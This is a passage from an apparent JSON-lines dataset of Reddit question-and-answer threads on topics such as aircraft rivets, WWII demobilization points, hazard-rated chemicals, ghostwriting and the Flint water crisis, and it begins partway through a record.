["http://www.nature.com/news/2011/110405/full/news.2011.210.html"]]}
{"q_id": "nwrr2", "title": "How hard do your testicles need to be punched to render you infertile?  I look at Steve-O from Jackass and have to imagine he cannot produce valid sperm.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nwrr2/how_hard_do_your_testicles_need_to_be_punched_to/", "answers": {"a_id": ["c3ckyab", "c3cl1ui", "c3cli01", "c3ckyab", "c3cl1ui", "c3cli01"], "score": [161, 8, 177, 161, 8, 177], "text": ["With or without access to surgical intervention? The most easy way to make somebody infertile would be to give them a blow that tears the vas deferens, or perhaps tears/occludes the testicular artery. But any sane person would then immediately get to the hospital, and would probably be able to have those structures repaired with minimal long term effects.\n\nSource: medical student.\n\nEdit: peer review says no testicular necrosis. Which is good!", "A change in temperature can cause [testicular torsion](_URL_0_), so physical trauma is not even required to cause the death of a testicle.", "In order to answer you properly, you would really need to clarify your question. Infertility is a clinical disorder resulting from a broad spectrum of etiologies. It's such a wide ranging area that there is an American Urologic Association certified subspecialty with fellowship training.\n\nYour question suggests that you are asking if it is possible to render a man [azoospermic](_URL_0_) by testicular trauma. To my knowledge, this is impossible, at least discounting disrupting the vas deferens, which has been mentioned several times elsewhere in this thread.\n\nMost causes of productive azoospermia are congenital or endocrine in nature.", "With or without access to surgical intervention? The most easy way to make somebody infertile would be to give them a blow that tears the vas deferens, or perhaps tears/occludes the testicular artery. But any sane person would then immediately get to the hospital, and would probably be able to have those structures repaired with minimal long term effects.\n\nSource: medical student.\n\nEdit: peer review says no testicular necrosis. Which is good!", "A change in temperature can cause [testicular torsion](_URL_0_), so physical trauma is not even required to cause the death of a testicle.", "In order to answer you properly, you would really need to clarify your question. Infertility is a clinical disorder resulting from a broad spectrum of etiologies. It's such a wide ranging area that there is an American Urologic Association certified subspecialty with fellowship training.\n\nYour question suggests that you are asking if it is possible to render a man [azoospermic](_URL_0_) by testicular trauma. To my knowledge, this is impossible, at least discounting disrupting the vas deferens, which has been mentioned several times elsewhere in this thread.\n\nMost causes of productive azoospermia are congenital or endocrine in nature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Testicular_torsion"], ["http://en.wikipedia.org/wiki/Azoospermia"], [], ["http://en.wikipedia.org/wiki/Testicular_torsion"], ["http://en.wikipedia.org/wiki/Azoospermia"]]}
{"q_id": "29k69g", "title": "When a new religion was introduced by force in a country, how long did it usually take for the people to adopt it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29k69g/when_a_new_religion_was_introduced_by_force_in_a/", "answers": {"a_id": ["cilr41p"], "score": [2], "text": ["Sorry, we don't allow [throughout history questions](_URL_0_).  These tend to produce threads which are collections of trivia, not the in-depth discussions about a particular topic we're looking for.  If you have a specific question about a historical event or period or person, please feel free to re-compose your question and submit it again. Alternatively, you may PM /u/caffarelli to have your question considered for an upcoming [Tuesday Trivia](_URL_1_) thread."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions", "http://www.reddit.com/r/AskHistorians/wiki/features/trivia"]]}
{"q_id": "25ti5y", "title": "why are airplanes covered in rivets and cars aren't?", "selftext": "It seems like the aerodynamics of an airplane are even more important than those of a car. So why are car body panels attached in such a way that they connect smoothly to one another without the need for visible rivets, while airplanes are assembled with thousands of rivets visible, and possibly messing with the aerodynamics?\n\nEdit: thanks everyone for the replies!! Lots of good information here, many of which seem to be incredibly plausible and make total sense when you stop to think about them. I really appreciate the time everyone took to consider my question!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25ti5y/eli5_why_are_airplanes_covered_in_rivets_and_cars/", "answers": {"a_id": ["chklzsx", "chkm95s", "chkncys", "chksbve", "chkt0hy"], "score": [184, 2, 10, 2, 2], "text": ["Lots of answers here, and none of them are true.\n\nAirplanes are riveted because they are made of aluminum. Welding or soldering aluminum is not easy, because heating aluminum will create a very hard oxide layer very fast. This means that rivets are in many cases the best solution for joining aluminum plates. Since, for cost reasons, most cars are made of steel, they have welded frames.\n\nA car line that's made of riveted aluminum are the [classic Land Rovers](_URL_1_), so there are some riveted cars too. But no airplanes made of steel that I know of, steel is too heavy for that.\n\nThese days there are good ways to weld aluminum [using inert gas](_URL_0_), but that creates another problem in that heating tends to soften aluminum alloys, so rivets are still the preferred method for building airplanes.\n\n\n\n", "First, when air is flowing past a surface (body panels) there is a thin layer adjacent to the surface (boundary layer) that is essentially still, not flowing compared to the rest of the fluid. This thin fluid layer is calm (laminar) and relatively still. The air outside of this thin layer may be not calm (turbulent) or calm. SO long as the rivets do not protrude past the thin boundary layer the rivets will not affect the rest of the fluid and therefore the aerodynamics of the vehicle.\n\n\n\nAlso, we should look at the function of the skin on airplanes and the skin on cars. \n\nAirplanes:The skin serves as an aerodynamic shell, structural element, and maintain a positive internal pressure (vs. the thin atmosphere at high altitudes).\n\nCars:  The skin serves as an aerodynamic shell, protective housing to internal components and because of who cars are sold to, look sexy as hell to entice us to pay more money.\n\nNote that on cars the attachment points are hidden, making inspection of failing attachments difficult, but if failure does occur on a car it's not likely to be catastrophic. On airplanes, the exposed rivets makes routine checks easy and quick, so a failed rivet can be fixed easily and quickly after damage or failure. Failure of the outer skin at the rivets will almost certainly result in a deadly crash, the same is not true of a car.\n\nSource: Aerospace engineer\n\nTl;Dr: The rivets are small enough that the aerodynamics are not affected by the rivets. Cars, for commercial reasons need to look sexier and sleeker than airplanes when viewed up close.", "Just to clear this up.. The reason is does not have anything to do with aerodynamics. The drag coefficients on bolts vs rivets is negligible. We use rivets to build paneled airplanes because it's the preferred method to conjoin aluminum panels together. It's not efficient for strength or cost to weld them together.", "Aircraft technician here: Aircraft skin is riveted vice welded for the fact that the welding will cause oxidization which is bad for corrosion,  and the welding is far more damaging to the structure of an aircraft.  The welds would simply cause more fatigue than strength. There would be various depths of welds and imperfections. \n\nThe statement that the rivets allows for movement is false. When a rivet is loose. You will get what is called a smoking rivet.  There will be a black \"smoke ring\" forming around the rivet head. You will see these on the wings of alot of commercial aircraft due to their bright paint schemes.  Next time you are on a plane,  ans you are near the wings. Look for smoking rivets.  These are fine,  and will be replaced next major inspection. \n\nRivets are cheap,  aircraft skin is pliable and easily (initally) worked into place than riveted. After production,  being a tech suck sometimes. Engineers put components in the worst places sometimes.", "I've only been an A & P Mechanic for a year, but one thing you should notice is that most of the rivet heads you see on the fuselage/wings of an airliner(737-700/900's for me primarily) are flat(AN426) and flush with the skin of the plane, so drag induced by them is negligible. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Gas_metal_arc_welding", "http://www.google.com/search?q=classic+land+rover&amp;oe=UTF-8&amp;um=1&amp;ie=UTF-8&amp;hl=en&amp;tbm=isch&amp;source=og&amp;sa=N&amp;tab=wi"], [], [], [], []]}
{"q_id": "17t4yj", "title": "i know you're not supposed to inhale a pipe/cigar...so do you just puff it?", "selftext": "having a brain fart with this", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17t4yj/i_know_youre_not_supposed_to_inhale_a_pipecigarso/", "answers": {"a_id": ["c88l4zc", "c88ndg5", "c88ok3i"], "score": [14, 4, 4], "text": ["You can inhale *some* cigars, otherwise it's a matter of puffing, enjoying the taste and looking damn cool while doing so.", "Yes, you just puff them.  Pull the smoke into your mouth by creating the seal with your lips and dropping/ opening your jaw.  Then you can close your mouth/ breathe out to puff the smoke out.  ", "Think of a wine connoisseur swilling wine around his mouth and then spitting in the bucket. It helps to remember that pipe smoke is much thicker than cigarette smoke so if you do inhale it you will know about it. Appart from the taste the amount nicotine you absorb in your mouth is much higher than a cigarette, so your urge to inhale it is lessened by that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1d1fhf", "title": "digital millennium copyright act (dmca)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1d1fhf/eli5_digital_millennium_copyright_act_dmca/", "answers": {"a_id": ["c9m1icr"], "score": [3], "text": ["The DMCA does a couple things:\n\n* Makes it illegal to break copy-protection (for example, if you download a song that has DRM protection, you have to \"obey\" the DRM.)\n* Makes DRM-breaking tools illegal\n* Makes you responsible for these illegal things, instead of innocent bystanders like your Internet company or websites like Facebook and Reddit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6hrg5d", "title": "why do ghostwriters ghostwrite when they are clearly talented enough to make a name for themselves?", "selftext": "I mean there are known songwriters that don't sing also some people are ghostwriting entire books for famous authors.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hrg5d/eli5_why_do_ghostwriters_ghostwrite_when_they_are/", "answers": {"a_id": ["dj0kldy", "dj0l1b6", "dj0leat", "dj0mi34", "dj0ofs4", "dj0onxk", "dj0s15z", "dj0s96t", "dj0t9no", "dj0vqxu", "dj14oru", "dj16hsy"], "score": [93, 331, 54, 46, 4, 13, 4, 3, 2, 2, 2, 8], "text": ["Because the *brand* of a famous celebrity is a strong selling point too. It's not just the quality of the work that makes sales. ", "Some ghostwriters are already famous authors, and write for a paycheck. Some might be modestly successful, but an \"auto\"biography from someone famous is likely to make a lot more. \n\nAlso, some writers like their subjects and want to write those stories. People line up to write for Presidents and Politicians. \n\nThere's also less risk to your reputation, and some writers like the opportunity to take some literary risks or break the mold they are known for. \n\nAnd, of course, others do it to get writing \"credits\" under their belt. Manuscripts from nobodies end up in the circular file. But the new book from the guy that ghostwrote the last Kardashian Sutra is going to get some curious glances. ", "Writing is a both a craft and an art.  There are some people who are good at the technical aspects of putting together a coherent book, but lack the creativity to make original material.  That sort of person is good at taking the jumbled memoirs of some celebrity and turning it into a well-structured story.  And because people are buy it because they are fans of the celebrity, there aren't really going to looking for high-quality literature.\n\nAlso, making a name as a writer is a matter of luck as much as talent.  There are plenty of mediocre authors who had connections or were in the right place at the right time, and plenty of brilliant ones who were never recognized in their lifetimes.  It is hard to dedicate your life to honing your art when you also have to work to pay the bills, so those brilliant but unrecognized authors are not going to be turning down paid work.\n ", "Good books don't necessarily mean sales. But writing alongside a celebrity whose endorsed products sell like hotcakes is guaranteed to provide a pretty paycheck.", "Some perspective on it for me came from the movie exit through the gift shop; one of the artists hire legions of other artists to make and help conceptualize the art; realizing that they either dont have the means or motivation to do it alone. While they could probably make it on their own, a lot of artists lack the tools or financial stability to be fully independent, so they join someone elses team to get some direction. Even prodigies dont necessarily have the skillset to make money as businessmen, so they pour their ideas into a more reliable income source: someone whose already made it", "At least for songwriting, at this point in time (with so much social media, paparazzi, etc.) being successful means having the whole package. You need to have at least a decent voice, be somewhat attractive, have some sort of a personality/style/something you're known for, and just have a certain something that will attract fans. Or you at least need 3/6. Someone may be incredible at writing songs that connect with people, but if they don't have a good voice, or are incredibly bland, or ugly, or uncharismatic, they wouldn't have success as a mainstream artist.\n\nAnd besides that, some people just don't want to make a name for themselves. There are a lot of tradeoffs to celebrity, and not everyone wants that.", "I suspect ghostwriting must be similar to being a marketing communications professional. As a marketing communications professional, in addition to writing marketing pieces I wrote and/or edited letters and technical papers for the company president for which my name never appeared. Its under his name because it is his logic, its his technology, etc. and no one in his right mind would think I am an expert in the subject when I am helping to improve the image of the head of the company. \n\nHowever, he would put the important information deep inside the piece instead of at the front where it would gain attention and grasp the reader. His expertise is business and inventing stuff, not communication. If I didn't rewrite it no one would ever finish reading it. He would labor on and on about some aspect to boredom. I was relied on to rearrange it and put the compelling stuff right up front and leave the boring details to further back.\n\nAlso, he as the head of the company has way too many other issues to deal with and would give me the data from some other piece to adapt into whatever communication he desired.\n", "Just because you have talent does not mean you can make a name for yourself.\n\nThere are seven billion people on this earth. Being a writer is a prestigious occupation, and there are literally millions of talented people out there who want to be writers. Every year publishers get deluged with stacks of unsolicited manuscripts from aspiring writers.\n\nSo you see, there are a lot of talented people and not enough work to go around. Because of that, some writers survive by doing things like ghostwriting.", " For music it can just be the person they're writing for can sing and can put on an amazing performance on stage but can't write worth shit. ", "It really varies from ghost writer to ghost writer.\n\nSome don't have the right charisma.\n\n- Quinten Miller\n\nSome do have a name for themselves but can ghost write for artists who are da cr\u00e8me de la cr\u00e8me in terms of fame and musical status \n\n- Party Next Door\n\nSome don't have the perfect voice for the stuff they would make\n\n- Bibi Bourelly", "When it comes to the music it most likely has to do with their image as a whole. Do they have mainstream media appeal orrrrr? Max Martin for a example writes a lot with Katy perry but if you had a middle aged man singing those songs on stage it may be a hard sell. As in for the authors that ghost write for celebrities it's because those famous people do not have the actual credentials to write a book so sitting and having \"writing sessions\" where you talk about your life with a ghost writer is much easier than actually writing the said book ", "I've ghostwritten music a few times.  The people that have hired me were capable of creating it themselves, but were swamped with other projects.  Often the agreement they made with their client was made weeks or months in advance, but as the deadline approached, other unforeseen projects or events came up and they needed help.  I needed the money, so I agreed to help them.\n\nNow that I'm doing fine by myself, I no longer need to ghostwrite.  Also at the time, they had lots of connections and I had only them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2pi3u7", "title": "When and where did the \"classic\" bell rythm start??", "selftext": "Every city i've been in (Mostly Denmark), at noon the church starts ringing the bells, and it seems to be the same rythm.\n\nI know it's a vague title, but i'm not sure how to phrase it", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pi3u7/when_and_where_did_the_classic_bell_rythm_start/", "answers": {"a_id": ["cmx0a6y"], "score": [2], "text": ["I think you'll need to be more specific to get a good answer. There are a few super common chimes played, and while I have 0 ability to answer your question you might get better answers if you specify the song. If you don't get any answers in next few days, try reposting with the song in your title. [This site](_URL_0_) has the songs I associate with clock and bell chimes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.clocksnmore.com/clock_chimes.asp"]]}
{"q_id": "xwjuq", "title": "google chrome", "selftext": "I'm a long time Firefox user and *just* downloaded Google Chrome. It's taking a bit of getting used to, and doesn't seem to be faster for me. My question is: Is there something I'm missing? anything I need to tweak or add-on because I (at this point) don't really see what all the hype is about.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xwjuq/google_chrome/", "answers": {"a_id": ["c5q7883"], "score": [4], "text": ["It's alright, it's best to find and use a browser that you find suitable and useful.  Try the features of Chrome out and if you don't particularly find any useful, then at least you tried it.\n\nIn terms of functionality, they are both pretty close.  Synchronizing across computers, tab features, add-ons, multi-threaded.\n\nOne difference I will point out is that updates are behind the scenes so you don't have to keep restarting the browser.  Searching from the main addressbar is pretty well featured.  It also comes with its own task manager for the various tabs you have open. \n\nA speed difference may only be noticeable if your computer is powerful enough.  A worst case scenario is that you should be seeing it perform as fast as Firefox. \n\nI would suggest trying it out for a day or two, without expecting it to replicate everything in Firefox completely, but just use it for everyday things and then decide whether you like it or not. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3zpr23", "title": "What were Meatpacking Conditions like in the Late 1800's/early 1900's?", "selftext": "Hi all!\n\nI have a brief understanding that meatpacking jobs during this time period were pretty unsafe and unsanitary, but that's about it. So I'm hoping someone can give me an in-depth look at just how terrible these jobs were, like how little the pay was, what exactly made them terrible jobs, etc. I know that in 1906, Roosevelt made the food safety laws, so I'm looking for the conditions before that happened, so say conditions from  around 1886-1905. \n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3zpr23/what_were_meatpacking_conditions_like_in_the_late/", "answers": {"a_id": ["cyoal36", "cyokypf"], "score": [2, 5], "text": ["Upton Sinclair's *The Jungle* was really the book that exposed the meat processing industry in America, and its publication led to Roosevelt creating the USDA to oversee conditions. ", "Follow up, how accurate was Upton Sinclaire's *The Jungle*? I know it has been considered muckraking and its a narrative, but were the descriptions of factory work and slums in the book indicative of what average factory workers might experience? Particularly the predatory realtors/professionals and the quality of store bought goods"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3iem89", "title": "Why did the use of the word \"defenestration\" spike in 1904?", "selftext": "Related link: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3iem89/why_did_the_use_of_the_word_defenestration_spike/", "answers": {"a_id": ["cufquau"], "score": [56], "text": ["It was the fate of King Alexander and Queen Draga in the June 1903 coup in Serbia, though they'd been killed beforehand. The event's importance extended far wider as the new regime was considered pro-Russian, its predecessor closer to Austria-Hungary. Hence it was a fairly hot topic, beyond gossip about the royal couple: it can indeed be seen as a key stepping-stone to the First World War (and leading conspirators were later associated with the irredentist Black Hand). The 1904 peak just reflects publication lags. "]}, "title_urls": [], "selftext_urls": ["https://books.google.com/ngrams/graph?content=defenestration&amp;year_start=1800&amp;year_end=2000&amp;corpus=15&amp;smoothing=3&amp;share=&amp;direct_url=t1%3B%2Cdefenestration%3B%2Cc0"], "answers_urls": [[]]}
{"q_id": "1hwoyq", "title": "What are some chemicals that rank 4 - 4 - 4 on the Hazmat Diamond?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1hwoyq/what_are_some_chemicals_that_rank_4_4_4_on_the/", "answers": {"a_id": ["caynugq", "cayo7ic", "cayqgad", "cayqoze", "cayr27g", "cayrbs7", "cayrdbg", "cayrff8", "cayrino", "cayrr7f"], "score": [17, 54, 25, 10, 5, 5, 3, 5, 3, 2], "text": ["Tert-butyl hydroperoxide is the only one that I know of. Wikipedia lists it as something like 2-3-2, however [this page](_URL_0_) lists all 4.", "Carbon monoxide is 4-4-2. (not highly reactive)\n\nTrinitrotoluene is 2-4-4. (not highly toxic)\n\nI don't know of anything offhand that is 4-4-4, most violently reactive agents aren't also extremely poisonous because they can't persist in the body long enough to cause toxicity.\n\nSide note: googling a bunch of uncommon high-explosives and horrible poisons to see if any were 4-4-4 has surely put me on the NSA watch list.", "One of my favorite science blogs is In The Pipeline, more specifically the recurring [Things I Won't Work With entries](_URL_1_). I'm pretty sure there's a substance or two in there that qualify.\n\nAn example from the entry on [chlorine trifluoride](_URL_0_):\n\n > *I\u2019ll let the late John Clark describe the stuff, since he had first-hand experience in attempts to use it as rocket fuel. From his out-of-print classic Ignition! we have:*\n\n > *\u201dIt is, of course, extremely toxic, but that's the least of the problem. It is hypergolic with every known fuel, and so rapidly hypergolic that no ignition delay has ever been measured. It is also hypergolic with such things as cloth, wood, and test engineers, not to mention asbestos, sand, and water-with which it reacts explosively. It can be kept in some of the ordinary structural metals-steel, copper, aluminium, etc.-because of the formation of a thin film of insoluble metal fluoride which protects the bulk of the metal, just as the invisible coat of oxide on aluminium keeps it from burning up in the atmosphere. If, however, this coat is melted or scrubbed off, and has no chance to reform, the operator is confronted with the problem of coping with a metal-fluorine fire. For dealing with this situation, I have always recommended a good pair of running shoes.\u201d*\n\n", "[Hydrazine is pretty close to what you want](_URL_0_)", "Piciric acid is 3-4-4. ", "[Winner winner chicken dinner](_URL_0_)", "Hydrofluoric acid, only a 4/0/0 so yea... its not that bad. Other than the fact that the shit will eat your fucking bones. I work with  Arsine, Phosphine, Diborane, H2SO4, and a number of other scary ass shit but HF is seriously the one that I wont go any where near. It will leave a little red mark on your skin and you will be like, ohhh meh, whatev. Then a while later the calcium in your bones starts to degrade and you literally will break bones just from walking, or writing, or doing whatever daily task you have. Sorry for ranting, but HF can blow monkey nuts. Take it from a Chemical Engineer, dude, 4,4,4 dont mean shit, its all about the aftershock. ", "Dioxygen Diflouride hasn't any NFPA 704 information, but it is highly toxic, it will cause almost anything to burn (like water ice) at low temperatures, and will quite cheerfully explode at the drop of a hat.\n\n_URL_0_\n\nSome of the good bits:\n\n > even at extremely cold temperatures (-160*C) in complete isolation, dioxygen difluoride decomposes to oxygen difluoride (OF2) and O2 gas. At room temperature, this decomposition is uncontrollable\n\nBetter keep it cold then, right?\n\n > It will literally burn ice, rapidly; that's one of the reactions guaranteed to produce a powerful explosion. The most stable ultimate products of that reaction are hydrogen fluoride gas and more oxygen, and when you call HF gas a \"stable\" product of any reaction you are speaking in very relative terms; a release of HF gas into the air is one of those \"drop everything and run\" types of industrial accidents. HF gas dissolves in water, including the mucus of your lungs, to produce hydrofluoric acid, a persistent, toxic, corrosive acid that will shred just about any organic chemical it comes across from hemoglobin to proteins to DNA, and you really want to keep those kinds of things intact.", "Interesting question. I found a big list [here.](_URL_0_)\n\nDidn't see any 4-4-4s, but picric acid is 3-4-4 and both diborane and germane are 4-4-3. (So they are perhaps *germane* to this discussion? I'll see myself out.) ", "An [xkcd article](_URL_1_) taught me about [dioxygen difluoride](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://cameochemicals.noaa.gov/chemical/2692"], [], ["http://pipeline.corante.com/archives/2008/02/26/sand_wont_save_you_this_time.php", "http://pipeline.corante.com/archives/things_i_wont_work_with/"], ["http://en.wikipedia.org/wiki/Hydrazine"], [], ["http://www.inchem.org/documents/icsc/icsc/eics1256.htm"], [], ["http://chemistry.stackexchange.com/questions/4624/please-explain-why-dioxygen-difluoride-is-so-dangerous"], ["http://www.ehs.neu.edu/laboratory_safety/general_information/nfpa_hazard_rating/guide_hazard/"], ["https://en.wikipedia.org/wiki/Dioxygen_difluoride#Reactivity", "http://what-if.xkcd.com/40/"]]}
{"q_id": "43kptn", "title": "In band of brothers (WW2) American soldiers are allowed to return home after the war if they have 85 points, is this historically accurate and what were points based on?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/43kptn/in_band_of_brothers_ww2_american_soldiers_are/", "answers": {"a_id": ["czixm0q"], "score": [278], "text": ["The \"points system\" you are describing is very historically accurate. Technically, it was called the \"Advanced Service Rating score\" and decided which troops in the ETO would be sent home as part of Operation *Magic Carpet* (the mass demobilization after WWII ended) or be retrained for the invasion of Japan. Many veteran divisions had been whittled to absurdly low levels by the reduction of the ASR score down to 75 points in September 1945; the 88th Infantry Division was down to only 1,200 men! There were also gripes that the system unfairly rewarded rear-echelon troops; infantrymen didn't get additional points for risking their lives daily, besides points for medals, which all troops could get.\n\nIn immediate postwar Europe, US units were divided into four categories. Empty slots left by men sent home because of points were to be filled by new replacements.\n\nCategory|Explanation\n:--|:--\nI|Units to remain in Europe (the occupation forces)\nII|Units to be redeployed to the Pacific for the invasion of Japan. Some soldiers were to go directly there (the 86th Infantry Division, having fought in Europe for only 34 days, was guarding POW pens in the Philippines on V-J Day!) while others were to train back in the USA for a while before deploying \nIII|Units to be reorganized and retrained before being classified as Category I or II\nIV|Units to be sent home and inactivated with personnel discharged\n\n\nIn order to be sent home, a man needed to accumulate 85 points as you have noted. Many soldiers earned well over 100 points; this just rounded down to 85. No points were given for age or marital status.\n\nCriteria|Points\n:--|:--\n1 month of military service|1 point\n1 month of military service overseas (in addition to total time in service)|1 point\nCombat award (medal or campaign streamer)|5 points\nHaving a dependent under the age of 18*|12 points per dependent\n\n*Men who had three or more dependents under 18 were eligible for immediate repatriation and discharge regardless of the amount of points they had earned\n\nSo, as an example, a man who served for 3 years in the Army, including 1 and a half years overseas, had a child under 18, and fought in the Northern France, Ardennes-Alsace, Rhineland and Central Europe Campaigns, earning a Silver Star and Purple Heart, would have:\n\n & nbsp;\n\n36 (months in service) + 18 (months overseas) + 12 (dependent under 18) + 5 (Northern France) + 5 (Rhineland) + 5 (Ardennes-Alsace) + 5 (Central Europe) + 5 (Silver Star) + 5 (Purple Heart) =\n\n91 points, enough to go home!\n\n & nbsp;\n\nCampaign Streamers in chronological order:\n\nCampaign|Dates\n:--|:--\nEgypt-Libya|June 11, 1942 - February 13, 1943\nAir Offensive, Europe|4 July 1942 - 5 June 1944\nAlgeria-French Morocco|8 - 11 November 1942\nTunisia|17 November 1942 - 13 May 1943\nSicily|9 July - 17 August 1943\nNaples-Foggia|9 September 1943 - 21 January 1944\nAnzio|22 January - 24 May 1944\nRome-Arno|22 January - 9 September 1944\nNormandy|6 June - 24 July 1944\nNorthern France|25 July - 14 September 1944\nSouthern France (for the units that invaded Southern France)|15 August - 14 September 1944\nNorth Apennines|10 September 1944 - 4 April 1945\nRhineland|15 September 1944 - 21 March 1945\nArdennes-Alsace* |16 December 1944 - 25 January 1945\nCentral Europe|22 March - 11 May 1945\nPo Valley|5 April - 8 May 1945\n\n & nbsp;\n\n(asterisk)- This campaign was amended after the war by pleas from General Alexander Patch to include the US Seventh Army divisions that fought in Alsace. Depending upon which source you look at (published during the war or after it), the divisions that fought in Alsace are sometimes awarded this streamer, sometimes not; *officially*, the \"Alsatian\" divisions (3rd, 12th Armored, 14th Armored, 36th, 42nd, 44th, 45th, 63rd, 70th, 79th, 100th, and 103rd) all have it.\n\n[European-African-Middle Eastern Theater](_URL_0_)\n\nExplanation of the ASR system\n\n_URL_3_\n\n*ASR Score Calculation: The Points System*, by W. Wesley Johnston (sample ASR card)\n\n[*Most Underrated General of World War II: Alexander Patch*](_URL_2_), by Keith E. Bonn\n\n*The U.S. Army in the Occupation of Germany 1944\u20131946*, by Earl F. Ziemke\n\n[ETO Order of Battle- DIVISIONS](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.history.army.mil/html/reference/army_flag/ww2_eame.html", "http://www.history.army.mil/documents/ETO-OB/ETOOB-TOC.htm", "http://marshallfoundation.org/100th-infantry/wp-content/uploads/sites/27/2014/06/Bonn_Most_Underrated_General_of_World_War_II.pdf", "http://www.custermen.com/AtTheFront/Points.htm"]]}
{"q_id": "2gq35t", "title": "how can \"bill\" be short for \"william\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gq35t/eli5_how_can_bill_be_short_for_william/", "answers": {"a_id": ["cklgyjy", "ckli32f", "ckli5mt", "cklioui", "cklk0gm", "cklt7d3"], "score": [22, 5, 3, 4, 3, 2], "text": ["It rhymes. Literally as simple as that.\n\nNicknames would be stuff that sounded similar, and often rhymed because of our tendency to say cute rhyming stuff to little kids. \"Ricky Dicky\" \"Willy Billy\" \"Robby Bobby\".\n\nSometimes the nicknames stick, and we get names like Bob, Will and Dick. Not the same as the original names, but close enough to recognize the similarity.", "Okay, so I'm no professional on the subject, but I'll give it a shot. \n\nAs far as I know, William has Germanic roots in the name Wilhelm. In German, W's don't have a *wuh* noise like we know it in English, but it sounds more like a *vuh*, and it ends up sounding like the *ve* in *love*. \n\nNow, Willy is a nickname for William or Wilhelm, and with the German W, it sounds like Villy. Some regional accents of German may come produce this with a harder V noise, which brings the name closer to Billy. Add some intermingling of English and German for a few hundred years, and that soft-W William suddenly becomes a Bill. \n\nSource: I am a curious William.\n\n", "_URL_1_\n\nThe diminutives for [Margaret](_URL_0_) is a long, weird list.", "Same as how Dick is short for Richard or Peggy is short for Margaret. There are no fucking rules with names.", "Some time ago (I have read), it became 'trendy' to give nicknames that rhyme with what it should be\n\nhence:\n\nWilliam/will/bill\n\nRichard/rick/dick\n\nRobert/rob/bob\n\n", "Take the \"W\" and rotate it so that the points are facing the \"i\". You now have what looks like Billiam. Thus Bill was created."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Margaret_\\(name\\)#Nicknames_of_Margaret", "http://www.namenerds.com/uucn/advice/nickhistory.html"], [], [], []]}
{"q_id": "41r3j8", "title": "if governor rick snyder of michigan knew the water in flint was tainted and dangerous for human consumption, will he be charged with a crime?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/41r3j8/eli5_if_governor_rick_snyder_of_michigan_knew_the/", "answers": {"a_id": ["cz4gzuh", "cz4kktf", "cz4o2bl", "cz4p3c9", "cz4v1pb"], "score": [107, 2, 25, 3, 20], "text": ["Probably not.  He's acting as the head of state, so the state becomes liable for his decisions.  It would require that there be a statute on the books that makes him directly liable.\n\nJust like if a product that is put on the market is found to be dangerous, the people at the corporation that put out the product aren't personally liable, the corporation is.", "Also, if someone were to file a criminal action against Governor Snyder, the State would be able to pay for any defense to such crime pursuant to MCL 691.1408. ", "From what I've read, the emergency manager was appointed by Snyder, but the EM didn't report to the governor, but to the Treasury Department, which is the organization that approved the EM's actions.\n\nI honestly doubt that the top level executive would be directly involved in such a local matter other than the appointment of the EM.", "It's not clear to me he is at fault -- of course folks need to be held responsible; but I'd suggest looking at the water department, newspapers (was there sufficient reporting?), local judges, EM, before you look that high.  LOTS of folks must have known levels were high.  High enough to make people sick?  To be proven.   Not even that many people tested yet positive for lead.  (50 out of 2000 tested).  Nor for certain that lead paint or some other pollutant source isn't to blame.   Why were the pipes and system allowed to decay to such levels?  That alone is probably at *least* 20-30 year old question.", " > All signs indicate he was aware of this problem and didn't do what he could to prevent it.\n\nWhat signs? Serious question, I've followed this very closely and have seen nothing to indicate he knew of any serious problem long before the EPA whistleblower.\n\nHe knew of one house with problem levels and the MDEQ issued a report stating the problem was due to lead pipes in the house. Seems like a pretty reasonable follow-up, and he had no reason not to trust the MDEQ at the time.\n\nThe EPA and MDEQ didn't fess up until Sept 28th, 2015. 3 days later on Oct 1st the city told residents to stop drinking the water. Snyder's explanation for the 3 day delay was a request from DHHS to confirm the problem (MDEQ apparently knew there would be lead in the water, but actually never tested to see just how much).\n\nIt's easy to look at the situation now and say that he should have warned people the moment he got out of that meeting. But what if there was no problem, and he just sent the city into panic over nothing. Should he be accountable for that delay?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
